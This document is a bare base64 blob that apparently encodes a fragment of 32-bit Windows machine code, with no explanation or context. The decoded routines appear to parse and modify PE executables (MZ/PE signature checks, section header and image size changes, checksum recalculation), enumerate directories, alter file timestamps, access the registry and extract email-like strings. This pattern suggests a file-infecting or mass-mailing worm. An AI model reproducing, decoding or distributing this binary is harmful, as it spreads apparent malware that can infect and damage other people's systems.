i038g8QMO8F0GseGpAEAAAQAAICJjqgBAACJhqwBAABqAusQM8DrDceGpAEAAAMAAIBqAVhf XsnCBAD/dCQEgcEcAQAAUeiBRgAAWVnCBABVi+xRU1ZXi/H/dQiLfhDoWEcAAINl/ACDfgwA WYvYdhZX6EVHAAD/RfyNfAcBi0X8WTtGDHLqK14Qi0YUA9872HZOi04YA8FQiUYU6GpOAACL 2FmF23UMx4akAQAAAgAAgOs+/3YUagBT6K1FAACLRhCLzyvIUVBT6I5OAACLRhBQK/jojkoA AIPEHIleEAP7/3UIV+jiRQAA/0YMi0YMWVlfXlvJwgQAVYvsUVNWV4vx/3UIi34E6K9GAACD ZfwAgz4AWYvYdhVX6J1GAAD/RfyNfAcBi0X8WTsGcusrXgSLRggD3zvYdk6LThgDwVCJRgjo w00AAIvYWYXbdQzHhqQBAAACAACA6zz/dghqAFPoBkUAAItGBIvPK8hRUFPo500AAItGBFAr +OjnSQAAg8QciV4EA/v/dQhX6DtFAAD/BosGWVlfXlvJwgQAVYvsgeyQAQAAU1ZqAY2FcP7/ /1uL8VBqAv8V4NFAAA+/RQxISHUDagJbD7/DagZQagL/FeTRQAAzyYP4/4kGXg+VwYvBW8nC DABVi+yD7BBWi/H/dQz/FdTRQABmiUXyjUUMUIvO/3UIZsdF8AIA6HkAAACLRQxqEIhF9IpF DohF9opFD4hl9YhF941F8FD/Nv8V2NFAAIXAXnQK/xXc0UAAM8DrA2oBWMnCCAD/dCQM/3Qk DP90JAz/Mf8V0NFAAMIMAP90JAz/dCQM/3QkDP8x/xXM0UAAwgwA/zH/FcTRQAD/JcjRQABq AVjDVYvsUVFTVleLfQhqATP2W4lN+FeJdfzoFUUAAIXAWX4sigQ+PC51Bf9F/OsKPDB8BDw5 fgIz21dG6PNEAAA78Fl83oXbdBiDffwDdAQzwOs6/3UMi034V+g1AAAA6ylX/xXA0UAAi/D/ FdzRQACF9nQWM8CLTgyLVQyLCYoMAYgMEECD+AR87GoBWF9eW8nCCABVi+xRU4tdCFYz9leJ dfyNRQiNPB5QaIzwQABX6NtLAACLVQyLRfyKTQiDxAyD+AOIDBB0F0aAPy50CIoEHkY8LnX4 /0X8g338BHzDX15bycIIAFWL7FFTVlf/dQzoPUQAAIt1CItdEFmJRfxW6C1EAACL+FmF/3Qt hdt0CYvGK0UIO8N9IIN9FAB0D/91DFbo6pQAAFmFwFl0Bo10PgHry4PI/+syi038i8YrRQiN RAgCO8N+CIXbdAQzwOsa/3UMVujoQgAAVujSQwAAg8QMgGQwAQBqAVhfXlvJw1aLdCQIVzP/ OXwkEH4dVuiuQwAAhcBZdBJW6KNDAABHWTt8JBCNdAYBfOOLxl9ew1aLdCQIVzP/VuiEQwAA hcBZdBqDfCQQAHQMi84rTCQMO0wkEH0HjXQGAUfr24vHX17DVYvsUVOLXQhWi3UMV2oAU4l1 /Oi2////i/hZhf9ZfwczwOmVAAAAhfZ9D2oA6KQSAAAz0ln394lV/I1HAlBT6Fr///+L8Cvz 0eZW6F9KAABWM/ZWUIlFDOizQQAAg8QYhf9+JDt1/HQaagH/dRBWU+gp////WVlQ/3UM6JT+ //+DxBBGO/d83DP2Tzv+iTN+H2oB/3UQVv91DOj//v//WVlQU+hs/v//g8QQRjv3fOH/dQzo U0YAAFlqAVhfXlvJw1ZXM/+L92oA994b9oHm+AAAAIPGCOj7EQAAM9JZ9/aLRCQMA8eE0ogQ dQPGAAFHg/8EfNBfXsNVi+yD7AyLRRCDZfgAg30MAFOKCIpAAVZXiE3+iEX/fjOLRQiLTfgD wYlF9IoAiEUTYIpFE4pN/tLAMkX/iEUTYYtN9IpFE/9F+IgBi0X4O0UMfM1qAVhfXlvJw1WL 7IPsDItFEINl+ACDfQwAU4oIikABVleITf6IRf9+M4tFCItN+APBiUX0igCIRRNgikUTik3+ MkX/0siIRRNhi030ikUT/0X4iAGLRfg7RQx8zWoBWF9eW8nDU1ZXM/9X6BsRAABZM9JqGotc JBRZ9/GL8oPGYYP7BHR4g/sBdRVX6PoQAABZM9JqCln38YvCg8Aw62D2wwJ0E1fo4BAAAFkz 0moaWffxi/KDxkFX6M0QAACoAVl0GPbDBHQTV+i9EAAAWTPSahpZ9/GL8oPGYVfoqhAAAKgB WXQY9sMBdBNX6JoQAABZM9JqCln38Yvyg8Ywi8ZfXlvDU4tcJAxWV4t8JBiL8zv7fhJqAOhv EAAAK/sz0vf3WYvyA/OLXCQQM/+F9n4S/3QkHOgr////iAQfRzv+WXzuagLoG////1mIA4Ak HwBqAVhfXlvDVle/kPBAADP2V+iuQAAAhcBZfhiKRCQMOoaQ8EAAdBFXRuiWQAAAO/BZfOgz wF9ew2oBWOv4U4pcJAhWV4TbfD8PvvNW6EhLAACFwFl1NVboa0sAAIXAWXUqv5jwQAAz9lfo VkAAAIXAWX4UOp6Y8EAAdBBXRuhCQAAAO/BZfOwzwOsDagFYX15bw1aLdCQIigZQ/xVo0EAA hcB0C4B+AYB2BWoBWF7DM8Bew4tEJASKADyhdAc8o3QDM8DDagFYw1WL7IHs/AcAAItFHFNW V4t9DDP2iXX8gCcAOXUQiTB/CYtFCEDp3AEAAItdCIoDUOhA////hcBZdVCJXQyDfSAAdCv/ dQzof////4XAWXQN/3UM6JP///+FwFl0Lf91DOiG////hcBZdARG/0UMi0UQRv9FDEg78H0Q i0UMigBQ6PD+//+FwFl0s4tFEEg78IlFDA+NagEAAIoEHlDo0/7//4XAWQ+EvgAAAIoEHlDo i/7//4XAWXULRjt1DHzs6T8BAACKBB5Q6Kj+//+FwFl0G4tN/IoEHv9F/EY7dQyIBDl9CYtF GEg5Rfx814tFGEg5Rfx8HIN9/AB0FotF/IoEOFDoN/7//4XAWXUF/038deqLRfyFwHwEgCQ4 ADPbOB90FYoEO1DoE/7//4XAWXQHQ4A8OwB1640EO1CNhQT4//9Q6MQ9AACNhQT4//9QV+i3 PQAAi0X8g8QQK8M7RRQPjYQAAACLXQiDfSAAD4SKAAAAi0UIgCcAA8Yz21DoR/7//4XAWXRZ i0UQg8D+iUUgi0UIA8aJRRD/dRDoSv7//4XAWXUZi0UQigiIDDuKSAFDRkCIDDtDRkCJRRDr BkZGg0UQAjt1IH0Xi0UYg8D+O9h9Df91EOju/f//hcBZdbiAJDsAO10UfBCLRRzHAAEAAACL RQgDxusMi10Ii0UcgyAAjQQeX15bycNVi+y4HBAAAOgERQAAU1ZXjU3k6OTc//+LfQyNRfhq AVD/dQgz241N5Igf6M/c//+L8DvzD4QrAQAAi1X4g/oKD4IXAQAAiJ3k7///iV38/3UYjU38 Uf91FP91EFJXUOiR/f//i034g8Qci9Er0APWg/oFD47iAAAAOV38dNGJXQgz//91GI1V/CvI UgPO/3UU/3UQUY2N5O///1FQ6FP9//+DxBw5Xfx0A/9FCItN+IvRK9AD1oP6BXYJR4H/ECcA AHy/OV0IdBFT6JgMAAAz0ln394tN+IlVCIv+iV30/3UYjUX8K89QA87/dRSNheTv////dRBR UFfo9/z//4PEHDld/Iv4dBk5XQh0Lv9NCI2F5O///1D/dQzo4jsAAFlZi034i8ErxwPGg/gF dgz/RfSBffQQJwAAfKSNTeTodtz///91DOimPAAAWTPJO0UQD53Bi8FfXlvJw4gfjU3k6FTc //8zwOvtVYvsi1UMUzPbVoXSdAIgGotFEIXAdAOAIACLdQiAPkB0HFeL+ovGK/6KCITJdA6F 0nQDiAwHQ0CAOEB17F+F0nQEgCQTAIA8MwCNBDNeW3UEM8Bdw4N9EAB0C1D/dRDoNDsAAFlZ agFYXcNVi+xRU4pdCFZXvqTwQACNffxmpYD7IKR+NID7fn0vD77zVujKRgAAhcBZdShW6O1G AACFwFl1HYD7QHQYgPsudBM6XAX8dA1Ag/gCfPQzwF9eW8nDagFY6/b/dCQE6J3///9Zw1WL 7LgAIAAA6MtCAAD/dQiNhQDg//9Q6Kw6AAD/dQyNhQDw//9Q6J06AACNhQDg//9Q6O2MAACN hQDw//9Q6OGMAACNhQDw//9QjYUA4P//UOjCRgAAg8QgycNWvlICQQBW/3QkDOhdOgAA/3Qk FFbogff//1D/dCQc6Fk6AACDxBhew1OLXCQIVldT6Cc7AACL+FmD/wR8JIP/DH8fM/aF/34U D74EHlDoDUYAAIXAWXQKRjv3fOxqAVjrAjPAX15bw1WL7IHsBAEAAFNWV42F/P7//zP/UFdX V/91COhQOwAAvvwBQQBXVug39///i9iDxBw7334gV1bo9/b//1CNhfz+//9Q6IyLAACDxBCF wHQnRzv7fOCNhfz+//9owg1BAFDob4sAAPfYG8BZg+BjWYPAnF9eW8nDi8fr91WL7FYz9ldW aiBqAlZqA2gAAADA/3UI/xX80EAAi/iJdQiD//90Izl1DHQejUUIVlD/dRD/dQxX/xVs0EAA V/8VJNFAAGoBWOsCM8BfXl3DVYvsU1dqAGonagNqAGoDaAAAAID/dQj/FfzQQACDZQgAi/iD y/87+3QdjUUIUFf/FezQQACDfQgAi9h0A4PL/1f/FSTRQACLw19bXcNVi+yD7BSNTezo2tj/ /41F/GoBUI1N7P91COjM2P//hcB0DY1N7Oh62f//agFYycMzwMnDVYvsgewYAQAAVmoEagWN RexqAlDof/j//4PEEI2F6P7//1BoBAEAAP8VmNBAAIt1CI1F7FZqAFCNhej+//9Q/xV00EAA VugjAAAAVuhYOQAAWVlIeAaAPDAudfcDxmjcAUEAUOhQOAAAWVleycNqIP90JAj/FYDQQAD/ dCQE/xWc0EAAw1WL7IHsSAMAAFZX/3UIjYX4/f//M/ZQ6Bg4AACNhfj9//9Q6Pw4AACDxAyF wHQXgLwF9/3//1yNhAX3/f//dQaAIABqAV6Nhfj9//9osPBAAFDo7TcAAFmNhbj8//9ZUI2F +P3//1D/FYzQQACL+IP//w+E1AAAAP91CI2F/P7//1DorTcAAFmF9ll1E42F/P7//2hE8EAA UOimNwAAWVmNheT8//9QjYX8/v//UOiRNwAA9oW4/P//EFlZdFuNheT8//9orPBAAFDodTYA AFmFwFl0Wo2F5Pz//2io8EAAUOheNgAAWYXAWXRD/3UQjYX8/v//agFQ/1UMg8QMhcB0Lf91 EI2F/P7///91DFDo7P7//4PEDOsW/3UQjYX8/v//agBQ/1UMg8QMhcB0Fo2FuPz//1BX/xWI 0EAAhcAPhTP///9X/xWE0EAAXzPAXsnDVYvsUYF9DABQAQBTVld8Kmog/3UI/xWA0EAAM9tT aiBqA1NqA2gAAADA/3UI/xX80EAAi/iD//91BzPA6YQAAACNRfxQV/8V7NBAAIvwO3UMfhVT U/91DFf/FeTQQABX/xWQ0EAA61NqAlNTV/8V5NBAAItFDCvGvgAACACJRQiLzpn3+TvDix1s 0EAAfheJRQyNRfxqAFBWaNAxQQBX/9P/TQx17I1F/GoAUItFCJn3/lJo0DFBAFf/01f/FSTR QABqAVhfXlvJw1ZqAGonagNqAGoDaAAAAID/dCQg/xX80EAAi/CD/v91BDPAXsOLRCQMV41I EFGNSAhRUFb/FejQQABWi/j/FSTRQACLx19ew1ZqAGonagNqAGoDaAAAAMD/dCQg/xX80EAA i/CD/v91BDPAXsOLRCQMV41IEFGNSAhRUFb/FTDRQABWi/j/FSTRQACLx19ew1WL7IPsFFON TezodNX//41F/GoBUI1N7P91COhm1f//i9iF23Rwg30QAHQmgX38AJABAHYdagDosgUAAFkz 0moKWffxg8JUweIKO1X8cwOJVfyLRfxWA8BQ6Gk9AACL8FmF9nQmi0X8A8BQagBW6LU0AABq SP91/FZT6LnN//+LTQyDxByFyXQCiQGNTezordX//4vGXlvJw1WL7IHsBAEAAFNWV4t9CDPb ahRTV4id/P7//+hvNAAAg8QMOB3sN0kAdD5T6CQFAABZM9JqA1n38YXSdCxqAWoKjYX8/v// UVBo7DdJAOib9///g8QUhcB0D42F/P7//1BX6Ig0AABZWTgfD4WLAAAAOB3oNkkAdDZT6NYE AABZM9JqA1n38YXSdCSNhfz+//9TUFNTaOg2SQDouzUAAI2F/P7//1BX6EM0AACDxBw4H3VJ U+icBAAAqA9ZdSu+dA1BAFNW6IPx//9TiUUI6IIEAAAz0vd1CFJW6D7x//9QV+gJNAAAg8Qc OB91D2oEagZqAlfo1fP//4PEEDldDHQrvvwBQQBTVuhA8f//U4lFCOg/BAAAM9L3dQhSVuj7 8P//UFfo1jMAAIPEHDldEHQN/3UQV+jFMwAAWVnrMDldFHQrvtwBQQBTVuj+8P//U4lFCOj9 AwAAM9L3dQhSVui58P//UFfolDMAAIPEHF9eW8nDVYvsg+wUU4tFGFZX/3UUM9uDz/+JXfxT iX34/3UQiV3wiV30iRjo8TIAAIt1CIoGUOgZ+P//g8QQhcAPhIwAAACKBlDoBvj//4XAWXRc i0UMi95IiUUIi0UQK8aJRezrA4tF7IoLiAwYigM8QHUJi03w/0X0iU34PC51B4X/fQOLffD/ RfxDi0X8/0XwO0UIfRaLRRRIOUXwfQ2KA1DorPf//4XAWXW5M9uLRfCLTRArffiAJAgAg/8D fhFqAVg5Rfh+CTlF9A+EoAAAAINN+P+DTfD/iV38ZoseM/9TIX306MP3//+FwFkPhIoAAABT 6LT3//+FwFl0VItFDEghfQyJRQiLRRCA+0CIHAd1Bv9F9Il9+ID7LnUJg33wAH0DiX3wg0UM BINF/AKLRQxHO0UIfRqLRRRIO/h9EotF/GaLHDBT6GD3//+FwFl1totFEIAkBwCLRfArRfiD +AJ+EmoBWDlF+H4KOUX0dQWLTRiJAYtF/APG6wONRgFfXlvJw1WL7IHsGAQAAFMz21aNTeiJ Xfzo3tH//41F+GoBUI1N6P91COjQ0f//i/A783UEM8DrY1eL/otF+IvPK86NUP87yn1HjU38 K8dRjY3o+///aAAEAACNRDD/UVBX6B7+//+DxBSDffwAi/h0yv91FI2F6Pv///91EFD/dQzo Hu7//4PEEIXAfq5D66uNTejoINL//4vDX15bycNVi+xRUYtFGINN+P9QagD/dRSJRfzo5zAA AIPEDI1FGFD/dQz/dQj/FUzQQACFwHQFagFYycONRfxQjUX4/3UUUGoA/3UQ/3UY/xUU0EAA /3UY/xVc0EAAM8DJw1WL7I1FDFD/dQz/dQj/FRjQQACFwHQFagFYXcP/dRTo0TEAAFlQ/3UU agFqAP91EP91DP8VENBAAP91DP8VXNBAADPAXcNVi+yB7AwBAACNRfxWUDP2/3UM/3UI/xVM 0EAAhcB0BDPA61eNhfT+//9oBAEAAFBW/3X8/xVQ0EAAhcB1LzlFEHQjIUX4/3UUjUX4UI2F 9P7//1D/dQz/dQj/VRCDxBSDffgAdQNG67uL8OsDagFe/3X8/xVc0EAAi8ZeycNVi+yB7BQI AABTjUX8VlD/dQy+AAQAADPbiXXw/3UIiXX4/xVM0EAAhcB0BDPA63ONRfiJdfBQjYXs9/// UI1F7FCNRfBqAFCNhez7//+JdfhQU/91/P8VRNBAAIXAdTWDfewBdSg5RRB0IyFF9P91FI1F 9FCNhez7//9Q/3UM/3UI/1UQg8QUg330AHUDQ+ufi/DrA2oBXv91/P8VXNBAAIvGXlvJw4N8 JAQAdQmDPcwxQQAAdRf/FTTRQABQ6GM3AABZ6Gc3AACjzDFBAOldNwAAVYvsg+xUVjP2akSN RaxWUOj5LgAAg8QMjUXwx0WsRAAAAFCNRaxQVlZWVlZW/3UM/3UI/xWk0EAA99gbwF4jRfDJ w1WL7IPsHFNWjU3k6BbP//+DZfgAvsDwQABW6PwvAABZiUX0jUX8agFQjU3k/3UI6PXO//+L 2IXbdFOLTfxXgfkAoAAAcju4ABAAAIHBGPz//zvIi/h2Kv919I0EH1BW6Jc7AACDxAyFwHQP i0X8RwUY/P//O/hy3+sHx0X4AQAAAI1N5Ohaz///i0X4X15bycNVi+yB7AAEAABojQdBAP91 EOi88///WYXAWXRzjYUA/P//aAAEAABQgKUA/P//AP91EP91DP91COj8/P//jYUA/P//UOgm ////g8QYhcB0P4tNGGoBWP91DIkBi00UaOA0SQCJAegwLgAAjYUA/P//UGjkNUkA6B8uAAD/ dRBo3DNJAOgSLgAAg8QYM8DJw2oBWMnDVYvsgewACAAA/3UMjYUA/P//UOjuLQAAjYUA/P// aETwQABQ6O0tAAD/dRCNhQD8//9Q6N4tAACNhQD8//9ojQdBAFDo9fL//4PEIIXAdHmNhQD4 //+ApQD4//8AaAAEAABQjYUA/P//aJMHQQBQ/3UI6C78//+NhQD4//9Q6Fj+//+DxBiFwHQ/ i00YagFY/3UMiQGLTRRo4DRJAIkB6GItAACNhQD4//9QaOQ1SQDoUS0AAP91EGjcM0kA6EQt AACDxBgzwMnDagFYycNVi+yB7BwFAACDZfwAgz3wOEkAAHUlagRoUgJBAOhE6v//jU38UWhK SUAAUGgCAACA6EP8//+DxBjrPI2F6Pv//2oCUOiC8v//jYXo+///UGjgNEkA6N4sAACNRfxQ jYXo+///aLZIQABQaAIAAIDog/z//4PEIItF/IXAo/Q4SQAPhdEAAABWjYXk+v//aAQBAABQ /xWo0EAAM/aAZegAjUXoaI0HQQBQ6IosAABZjUXoWWoEagRqAlDoaS0AAFmNRAXoUOhN7P// jUXpUOjBfgAAjYXk+v//UI2F6Pv//1DoUiwAAI2F6Pv//2hE8EAAUOhRLAAAjUXoUI2F6Pv/ /1DoQSwAAI2F6Pv//2jcAUEAUOgwLAAAjYXo+///UOgn8///g8Q4hcB0CkaD/goPjGf///+N RehQaNwzSQDoBSwAAI2F6Pv//1Bo5DVJAOjkKwAAg8QQXmoBWMnDi0QkBGaLTCQIZgFIAmaL SAJmg/kBfQ5mg0ACHmaLSAJm/wjr7GaDeAIffhJmg0AC4maLSAJm/wBmg/kff+5miwhmg/kB fQaDwQxmiQhmiwhmg/kMfgaDwfRmiQjDi0QkDFaLdCQIV4t8JBCAJwCAIACAPlx1WIB+AVx1 UlNouPBAAFfoUysAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6 AAPWW4A6AHUEagLrElL/dCQY6BMrAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aOQ1 SQBQ6OwqAABZjYX8/v//WTP2aAQBAABQVv8VFNFAAFaNhfD7//9WUI2F9Pz//1ZQ6CosAABW jYX4/f//VlCNhfz+//9WUOgULAAAjYX4/f//UI2F8Pv//1DoZnwAAIPEMPfYG8BeQMnDVot0 JAyD/kRyMYtMJAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99Aj wsMzwF7DVYvsU4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw /IPABDP/hcmNRNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87 +XICM8BfXltdw1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINl CAADwYXAfmaLXRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfo mv///4PEFIXAdDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUI fJ1qAVhfXltdwzPA6/dVi+yD7DxWjU3U6CLJ//+NTcToGsn//41F/GoBUDP2/3UMjU3EiXX4 iXX8iXX0iXXw6P7I//87xolFDHUHM8DpZAEAAItF/ItNEFONhAgAEAAAUP91COj58f//WY1F +FlWUP91CI1N1OjHyP//i9g73old7A+E/gAAAFf/dfhqA1PoZP7//4v4g8QMO/4PhNoAAAD/ dfxqA/91DOhK/v//i/CDxAyF9g+EwAAAAP91/P91DOjz/f///3X4iUUQU+jn/f//i00Qi1UM A8qDxBBmg3lcAg+FkwAAAIuJjAAAAAPYiU0QiYuMAAAAi0YIi08MiUcIiwaJB4tHCAPBiUXw i0YEiUXki0cEiUXoi0YIi3YMA/KLVeyNPBGLyCtNDAPOO038d0dQVlfouCwAAP91EP916P91 5FdX6Bz+//8Pt0sUiUX0i9MPt0MGA9GDxCCNBICNTML4i0TC/AMBZqn/D3QHwegMQMHgDIlD UI1N1Oh5yP//M/ZfjU3E6G7I//85dfRbdB+LRfA7RfxzA4tF/FD/dQjouvD///91COhMAQAA g8QMi0X0XsnDVYvsg+wUU1aNTezodsf//zP2jUX8VlD/dQiNTezoZ8f//4vYO951BzPA6b0A AABX/3X8U+jH/P//i/hZhf9ZD4SBAAAA/3X8agNT6O/8//+DxAyFwHRvahCNNB9aiZaMAAAA i0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gIA/k7fQxzA4t9DGb3x/8PdAfB7wxH wecMjQQZi8gryztN/HMMUmoAUOh6JgAAg8QMi4bsAAAAhcB0A4lGKGoBXusDi30IjU3s6HLH //+F9nQLV/91COjL7///WVn/dQjoWwAAAFmLxl9eW8nDVYvsUYtFDDPJ0eiJTfx0KYtVCFaL 8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJTfxeiU0Ii0UIwegQi1X8ZgPCiUUI i0UIA0UMycNVi+yD7BRWV41N7Ogzxv//g2X8ADP2jUX8VlCNTez/dQjoIMb//4v4hf90O/91 /FfoiPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb////WYkGWesDi0UIi/CNTezom8b/ /4vGX17Jw1WL7IHsAAgAAIM98DhJAAB1NYM9EDlJAAB0LI2FAPj//2jIAAAAUGr//3UIagFq AP8VeNBAAI2FAPj//1BqAP8VEDlJAMnDM8DJw1WL7IPsDFNWV4tFCIlF+ItFDIlF9It1+It9 9FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlmNSCDZoHzuO3+znXrM8gz00911ffS 99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexQAQAAU1ZXagNfjU3Q6A7F////dRDo+yUA AIvwWY1F6IPGIFD/FdjQQABmgWXq/v8z21PoU/X//1kz0moeWffxZilV8maDffI8cgZmx0Xy AQCKRfKLTfCD4D/B4QYLwYpN9NDpweAFg+EfC8GKTf5miUX8i0Xog8BEg+EfweAJM8GKTeqD 4Q9mJR/+weEFC8GKTe5miUX+Mk3+g+EfZjPBOV0UZolF/nQDagJfaiD/dQj/FYDQQABTaiBX U2oDaAAAAMD/dQj/FfzQQACL+IP//4l9+HQqagJTU1f/FeTQQACNReRqAVCNTdD/dQzoMcT/ /zvDiUUMdQ5X/xUk0UAAM8Dp8wAAAItF5MaFsv7//3RQZseFs/7//wCA/3UMZom1tf7//4mF t/7//4mFu/7//4idv/7//+hX/v///3UQiYXA/v//i0X8xoXI/v//FImFxP7//8aFyf7//zDo tCQAAP91EGaJhcr+//+NhdD+//+Jncz+//9Q6KgjAAAPt/6NR/5QjYWy/v//UOgD/v//izVs 0EAAg8QcOV0UZomFsP7//3QRjUXgU1BqFGisDUEA/3X4/9aNReBTUI2FsP7//1dQ/3X4/9aN ReBTUP915P91DP91+P/WjU3Q6P3D////dfj/FSTRQAA5XRR0Cf91COgBAQAAWWoBWF9eW8nD VYvsUYsNFDlJAINl/ABqAYXJWHQIjUX8agBQ/9HJw1WL7IHsYAYAAItFCFMz28dF8EAGAAA7 w4ld/HUG/xWs0EAAjU0IUWooUP8VINBAAIXAD4SeAAAAVo1F9FdQ/3UMU/8VCNBAAIXAdHyL RfSLNQzQQACJReSLRfiJReiNRfBQjYWg+f//UI1F4GoQUFOJXeD/dQiJXez/1os94NBAAP/X hcB1QYtF9IONrPn//wKJhaT5//+LRfiJhaj5//9TU42FoPn//2oQUFPHhaD5//8BAAAA/3UI /9b/14XAdQfHRfwBAAAA/3UI/xUk0UAAi0X8X15bycNVi+yD7BhWM/ZXVmogagNWagFoAAAA wP91CP8V/NBAAIv4O/4PhK4AAACNRehQ/xW00EAAVuha8v//ajwz0ln38VZmiVXy6Eny//9Z M9JZahhZ9/FmKVXwZjl18H8IZgFN8Gb/Te5W6Cjy//9ZM9JqHFn38WYpVe5mOXXufxJW6BDy //9ZM9JqA1n38WaJVe5W6P7x//9ZM9JqDFn38WYpVepmOXXqfwhmAU3qZv9N6I1F+FCNRehQ /xWw0EAAjUX4UI1F+FCNRfhQV/8VMNFAAFf/FSTRQABfXsnDVYvsgeyUAAAAU1ZXagFbU+ij 8f//vgQBAAAz/1ZXaOw3SQDoyiAAAFZXaOg2SQDoviAAAFZXaOQ1SQDosiAAAFZXaOA0SQDo piAAAFZXaNwzSQDomiAAAIPEQGjQ8EAAaGYiAABo1PBAAOjH3///aPg4SQDoCdD//4PEEP8V vNBAACUAAACAiT0AOUkAo/A4SQCNhWz///9Qx4Vs////lAAAAP8VuNBAAIO9cP///wV1Djmd dP///3UGiR0AOUkA6FXz//++ANAHAFbowSgAADvHWaPYM0kAdQQzwOskVldQ6AwgAADo1QAA AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 